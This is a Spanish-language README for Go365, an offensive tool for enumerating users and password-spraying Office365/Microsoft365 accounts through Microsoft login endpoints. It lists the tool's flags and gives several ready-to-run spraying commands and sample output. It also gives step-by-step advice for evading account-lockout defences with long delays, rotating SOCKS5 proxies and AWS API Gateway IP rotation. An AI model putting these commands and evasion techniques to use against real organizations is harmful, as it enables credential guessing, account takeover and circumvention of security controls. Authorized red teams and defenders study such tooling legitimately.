
Una herramienta de ataque a usuarios de Office365
Por favor, lea todo este README antes de usar Go365!
Go365 es una herramienta diseñada para realizar enumeración de usuarios* y ataques de adivinanza de contraseñas en organizaciones que usan Office365 (ahora/pronto Microsoft365). Go365 utiliza un endpoint único de la API SOAP en login.microsoftonline.com que la mayoría de otras herramientas no usan. Cuando se consulta con una dirección de correo electrónico y una contraseña, el endpoint responde con un código de autenticación y autorización de Azure AD. Este código es procesado por Go365 y el resultado se imprime en pantalla o en un archivo de salida.
* La enumeración de usuarios se realiza junto con un intento de adivinanza de contraseña. Por lo tanto, no hay una bandera o funcionalidad específica para realizar solo la enumeración de usuarios. En su lugar, realice su primer ataque de adivinanza de contraseñas y luego analice los resultados para usuarios válidos.
Descargue un binario precompilado para su sistema operativo AQUÍ.
Descargue el código fuente y compile localmente.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Versión: 2.0
Autores: paveway3, h0useh3ad, S4R1N, EatonChips
Uso:
-h Muestra esta información
Requerido - Endpoint:
-endpoint [rst o graph] Especifica qué endpoint usar
: (-endpoint rst) *¡Go365 clásico!* login.microsoftonline.com/rst2.srf. Solicitud SOAP XML con respuesta XML
: (-endpoint graph) login.microsoft.com/common/oauth2/token. Solicitud HTTP POST con respuesta JSON
Requerido - Nombres de usuario y Contraseñas:
-u <string> Nombre de usuario único a probar
: Nombre de usuario con o sin "@domain.com"
: También debe proporcionar la bandera -d para especificar el dominio
: (-u [email protected])
-ul <archivo> Lista de nombres de usuario a usar (anula -u)
: El archivo debe contener un nombre de usuario por línea
: Los nombres de usuario pueden tener "@domain.com"
: Si no se especifica ningún dominio, se usa el dominio de -d
: (-ul ./usernamelist.txt)
-p <string> Contraseña a intentar
: Encierre entre comillas simples si contiene caracteres especiales
: (-p password123) o (-p 'p@s$w0|2d')
-pl <archivo> Lista de contraseñas a usar (anula -p)
: El archivo debe contener una contraseña por línea
: La bandera -delay se puede usar para incluir una pausa entre cada conjunto de intentos
: (-pl ./passwordlist.txt)
-up <archivo> Lista de usuario:contraseña a usar (anula todas las opciones anteriores)
: Un nombre de usuario y contraseña separados por ":" por línea
: ¡Cuidado con los nombres de usuario duplicados!
: (-up ./userpasslist.txt)
Requerido/Opcional - Dominio:
-d <string> Dominio a probar
: Use esto si el nombre de usuario o la lista de nombres de usuario no incluye "@targetcompany.com"
: (-d targetcompany.com)
Opcional:
-w <int> Tiempo de espera entre intentos en segundos.
: Por defecto: 1 segundo. Se recomiendan 5 segundos.
: (-w 10)
-delay <int> Retraso (en segundos) entre rociados al usar una lista de contraseñas.
: Por defecto: se recomiendan 60 minutos (3600 segundos).
: (-delay 7200)
-o <string> Archivo de salida para escribir
: Añadirá si el archivo existe, de lo contrario se crea un archivo
: (-o ./Go365output.out)
-proxy <string> Servidor proxy SOCKS5 único a usar
: Dirección IP y Puerto separados por ":"
: Proxy SOCKS5
: (-proxy 127.0.0.1:1080)
-proxyfile <archivo> Un archivo con una lista de servidores proxy SOCKS5 a usar
: Dirección IP y Puerto separados por ":" en cada línea
: Selecciona aleatoriamente un servidor proxy para usar antes de cada solicitud
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint al que enviar solicitudes
: URL de 'Invocación' de Amazon API Gateway
: Muy recomendable que use esta opción. Búsquelo en Google, o
: eche un vistazo a: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Modo de depuración.
: Imprimir respuesta XML
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Incluso puede programar toda su campaña de adivinanza de contraseñas usando las banderas -pl y -delay :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Consejo: Si obtiene muchas respuestas de "Cuenta bloqueada", entonces quizás quiera usar un proxy o una puerta de enlace de AWS.
consejo: Probablemente no esté realmente bloqueando cuentas.
Después de varias consultas contra un dominio objetivo, los resultados podrían comenzar a reportar que las cuentas están bloqueadas.
Una vez que se activa esta defensa, la enumeración de usuarios se vuelve poco confiable, ya que las solicitudes para usuarios válidos e inválidos reportarán aleatoriamente que sus cuentas han sido bloqueadas.
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
Este es un mecanismo defensivo activado por la cantidad de consultas de usuarios válidos contra el dominio objetivo dentro de un cierto período de tiempo. El número de intentos y el período de tiempo variarán según el dominio objetivo, ya que los umbrales pueden ser personalizados por la organización objetivo.
El mecanismo defensivo se basa en tiempo y dirección IP. Go365 proporciona opciones para incluir un tiempo de espera entre solicitudes y opciones de proxy para distribuir el origen de las solicitudes. Para eludir los mecanismos defensivos en su dominio objetivo, use un tiempo de espera largo y múltiples servidores proxy.
Se recomienda un tiempo de espera de AL MENOS 15 segundos. -w 15
Si aún obtiene respuestas de "cuenta bloqueada", empiece a usar proxy para sus solicitudes. Las opciones de proxy solo se han probado en proxies dinámicos SSH SOCKS5 (ssh -D <puerto> usuario@servidorproxy)
Cree un montón de proxies SOCKS5 en DO o AWS o Vultr o lo que sea y haga un archivo que se vea así:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
La herramienta iterará aleatoriamente a través de los servidores proxy proporcionados y esperará la cantidad de tiempo especificada entre solicitudes.
-w 15 -proxyfile ./proxies.txt
Adicionalmente, se puede especificar una URL de endpoint para que esta herramienta pueda interactuar con la puerta de enlace de API de Amazon. Configure una puerta de enlace que apunte al endpoint https://login.microsoftonline.com/rst2.srf, luego establezca el parámetro -url con la URL de invocación proporcionada. Su IP debería rotar con cada solicitud.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login